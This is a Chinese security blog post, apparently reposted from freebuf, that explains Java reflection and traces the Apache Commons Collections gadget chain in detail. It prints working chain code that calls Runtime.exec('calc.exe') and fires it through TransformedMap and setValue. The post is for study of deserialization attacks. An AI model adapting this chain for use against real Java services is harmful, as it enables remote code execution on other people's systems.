关于反射链的一些思考 – 作者:水木逸轩con

0x01 前言

本文源自看到酒仙桥的文章之后引起的一些思考。

反射类的作用:

运行时分析类的能力

运行时查看对象

实现通用数组的操作代码

利用Method对象

这篇文章总的指导思想图:

图片[1]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

Java运行期间会为所有的对象维护一个运行时的类型标识,这个信息跟踪

着每个对象所属的类。虚拟机利用运行时类型信息选择相应的方法执行,保存这些信息的类称为Class,Object类中的getClass()方法会返回一个Class类型的实例。

设:Emplyee为一个用户自建类

其中测试代码如下:

Employee e;

Class cl = e.getClass();

返回结果:class 包路径.Employee,getClass方法得到对象所属的包路径和类名。

Class cl = e.getClass().getName()

返回结果:包路径.Employee,getName方法得到对象所属的包路径和类名。

调用静态方法Class.forName(java.util.Random),可以获得类名对应的Class对象(并不是实例对象),如下程序所示:

String className = “java.util.Random”;

Class cl = Class.forName(className);

如果想要获得实例对象,那么需要进行newInstance操作,即下一行代码:

Object m = Class.forName(className).newInstance();

反射机制的主要内容,最重要的功能—检查类的结构

java.lang.reflect包中有三个类,如下:

Field:描述类的域

Method:描述类的方法

Constructor:描述类的构造器

以上三个类都有一个叫做getName的方法,用于返回项目的名称。

使用反射调用任意类

首先创建Method对象,比如使用Math类中的sqrt方法,代码如下:

Method f = Math.class.getMethod(“sqrt”,double.class);

getMethod方法第一个参数为方法名称,第二参数为参数类型.class,如果没有参数就不用写。

double y = (Double) f.invoke(null,x);

invoke方法为方法的使用,其中第一个参数为null,第二个参数数据类型正确的参数。

0x02 反射链的疑问和探索

看下酒仙桥的公众号中构造的反射链(上述内容可参见酒仙桥6号部队公众号):

图片[2]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

图片[3]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

Transformer类型的数组,那先看看这个这个Transformer接口是干啥的吧:

图片[4]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

返回Object类型,那接下来重写一下它的transform方法

图片[5]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

输出结果:

图片[6]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

那么这个接口被哪几个类实现了?

ConstantTransformer,invokerTransformer,ChainedTransformer,TransformeredMap,InstantiateTransformer

ConstantTransformer探索

看ConstantTransformer类做了什么,翻他的源码:

测试代码为:

图片[7]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

ConstantTransformer类的源码为:

图片[8]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

如果new一个ConstantTransformer的实例的话,那么传入的constatToReturn就会变成final且private类型的iConstant的值(或者说是引用,毕竟传入的是对象)。

再看它的transform方法,啥也没干,虽然传入的是input但是input没有起作用啊。

看看它到底返回了啥,加一行代码

图片[9]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

可以看到,返回了类对象。

图片[10]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

invokerTransformer探索

同样的方法,探讨invokerTransformer,查看其源码,测试代码为:

图片[11]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

在System输出语句处打个断点,进入transform看下源码,看其构造函数,发现对当所有invokerTransformer的参数进入构造方法之后,构造方法对其原先的变量进行了赋值操作:

图片[12]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

图片[13]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

在赋值完成之后,调用其transform方法,获得传入transform方法的类对象,

之后,得到最初传入的方法名称,方法参数,通过Class类的getMethod方法,得到getMethod的方法,对方法对象进行反射操作。

打个断点:

图片[14]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

开始函数追踪,首先看到传入的参数

图片[15]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

追踪到transformer中,追踪到input.getClass()

看到getClass()的值为:class java.lang.Class

图片[16]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

接着看getMethod()得到的值:

图片[17]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科最后反射返回的值为:

图片[18]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

public java.lang.reflect.Method java.lang.Class.getMethod(java.lang.String,java.lang.Class[])

分析一下下面三行代码的意思:

图片[19]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

第一行代码,获取input对象的类对象(java.lang.Class)

第二行代码,通过传入方法名称和方法所需要的参数(getMethod,参数内容)

第三行代码,返回反射的对象(java.lang.Class.getMethod(“getMethod”,Object[]{“getRuntime”,null}))

(伪代码,勿当真)

官方文档对getMethod的解释如下:

图片[20]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

首先看到,第一个参数为String类型,第二个参数为Class集  合

继续执行invoke方法,返回反射的对象

那么我们如何传入参数,如何进行构造,根据其构造函数进行构造

图片[21]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科构造的语句如下:

InvokerTransformer tran = new InvokerTransformer(“getMethod”,new Class[]{String.class,Class[].class},new Object[]{“getRuntime”,null})

那么就可以返回一个Object的实例,相当于执行

Class cls = Runtime.class.getClass();

Method getmethod = cls.getMethod(“getMethod”,new Class[]{String.class,Class[].class});

Object method = getmethod.invoke(Runtime.class,new Object[]{“getRuntime”,null});

那么,为什么会返回java.lang.Reflect.Method的对象信息呢?

图片[22]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

因为反射回的对象是getmethod.getMethod(“getRuntime”,null);,其对象的类型为Method类型

源码如下:

图片[23]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科所以最后返回的是Method类型的对象,那么返回对象之后需要得到getRuntime的Runtime对象,所以需要再次进行反射,利用Invoke方法将getRuntime进行实例化。接着利用InvokerTransformer构造invoke方法

根据上面的构造Runtime方法,先看下invoke方法的参数要求

图片[24]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

可以看到,第一个参数为对象,第二个参数为对象数组。

InvokerTransformer tran2 = new InvokerTransformer(“invoke”,new Class[]{Object.class,Object[].class},new Object[]{null,null});

Runtime run = (Runtime) tran2.transform(method);

相当于执行了:

Method getruntime = (Method)Runtime.class.getClass().getMethod(“getMethod”,new Class[]{String.class,Class[].class}).invoke(Runtime.class,new Object[]{“getRuntime”,null});

Object runtime = getruntime.getClass().getMethod(“invoke”,new Class[]{Object.class,Object[].class}).invoke(getruntime,new Object[]{null,null});

再相当于执行了:

Class cls = getruntime.getClass();//值为java.lang.Method的类对象

Object ob = cls.getMethod(“invoke”,null).invoke(getRuntime,null);

相当于执行了:

Runtime getrun = getruntime.invoke();

图片[25]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

getRuntime已经进行过invoke的操作,那么它就是Runtime的一个实例。

再构造exec方法

InvokerTransformer tran3 = new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc.exe”});

tran3.transform(runtime);

相当于执行了:

Class cls = runtime.getClass();//值为Class java.lang.Runtime

Method method = cls.getMehod(“exec”,new Class{String.class});

Object getexec = method.invoke(runtime,”calc.exe”);

不多说,打断点

只有在这个getExec对象为Runtime对象的基础上,我们才可以进行exec的调用,因为exec方法存在与Runtime类中,最后返回的对象为下图所示对象,这样便完成了exec方法的调用。

图片[26]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

上述为通过invokerTransformer(反射式转化)类的transform进行反射链的构造和执行,那么我们如何让它自动去执行呢?

ChainedTransformer探索

看另一个类ChainedTransformer(链式转化)

不多说,看源码:

图片[27]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

首先看这个循环,可以知道,在构造函数的时候,已经把Transformers这个Transformer的数组的引用给了iTransformers。

看transform函数做的工作是调用数组中每个元素的transform方法,这就很清楚了,我们只需要把InvokerTransformer的前面的每一个InvokerTransformer或者ConstantTransformer作为ChainedTransformer的数组元素传入。

开始构造:

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class),

new InvokerTransformer(“getMethod”,new Class[]{String.class,Class[].class},new Object{“getRuntime”,null},

new InvokerTransformer(“invoke”,new Class[]{Object.class,Object[].class},new Object[]{null,null}),

new InvokerTransformer(“exec”,new Class[]{String.class},new Object[]{“calc.exe”})};

ChainedTransformer chain = new ChainedTransformer(transformers);

chain.transform(Object.class);

chain.transform的参数无所谓,随便写一个.class就可以,反正可以被其构造方法覆盖。

不使用transform方法执行反射链

根据这位大佬所说的,我并没有找到setValue的方法。姑且按照他的思路来,参考链接:https://www.freebuf.com/news/150872.html

图片[28]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

我没有找到setValue方法,倒是找到了后面的decorate方法和构造方法:

图片[29]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科图片[30]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

先构造代码,为什么这么构造,后面说


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map m = new HashMap();
m.put("key","value");
Map map = TransformedMap.decorate(m,null,chain);
Map.Entry entry = (Map.Entry)map.entrySet().iterator().next();
entry.setValue("value");

为什么这样写?追踪transformedMap方法

图片[30]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

可以看到需要传入的参数为,map类型,Transformer 的key,Transformer的value

追踪decorate方法:

图片[29]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

返回新的TransformerMap对象,接着看entry对象的工作

Map.Entry entry = (Entry) map.entrySet().iterator.next()

entrySet()把HashMap转化为集   合类型,iterator获得这个结合的迭代器,获得第一组键值对元素。

获得之后的最后一步才是重中之重

entry.setValue(“value”);

图片[33]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

图片[34]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

看看setValue方法具体是怎么执行的,首先会checkSetValue然后在checkSetValue的时候会调用valueTransformer(是上面传入ChainTransformer类型的chain变量)的transform方法,此时就相当于执行了chain.transform(“value”),而不管是value还是任意的其他值,对于ConstantTransformer这个类已经没有了任何价值,因为它根本没有被使用。ConstantTransformer.transform(“value”)执行完了之后才是各种的InvokerTransformer.transform。

图片[35]-关于反射链的一些思考 – 作者:水木逸轩con-安全小百科

来源:freebuf.com 2020-08-22 23:38:20 by: 水木逸轩con

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论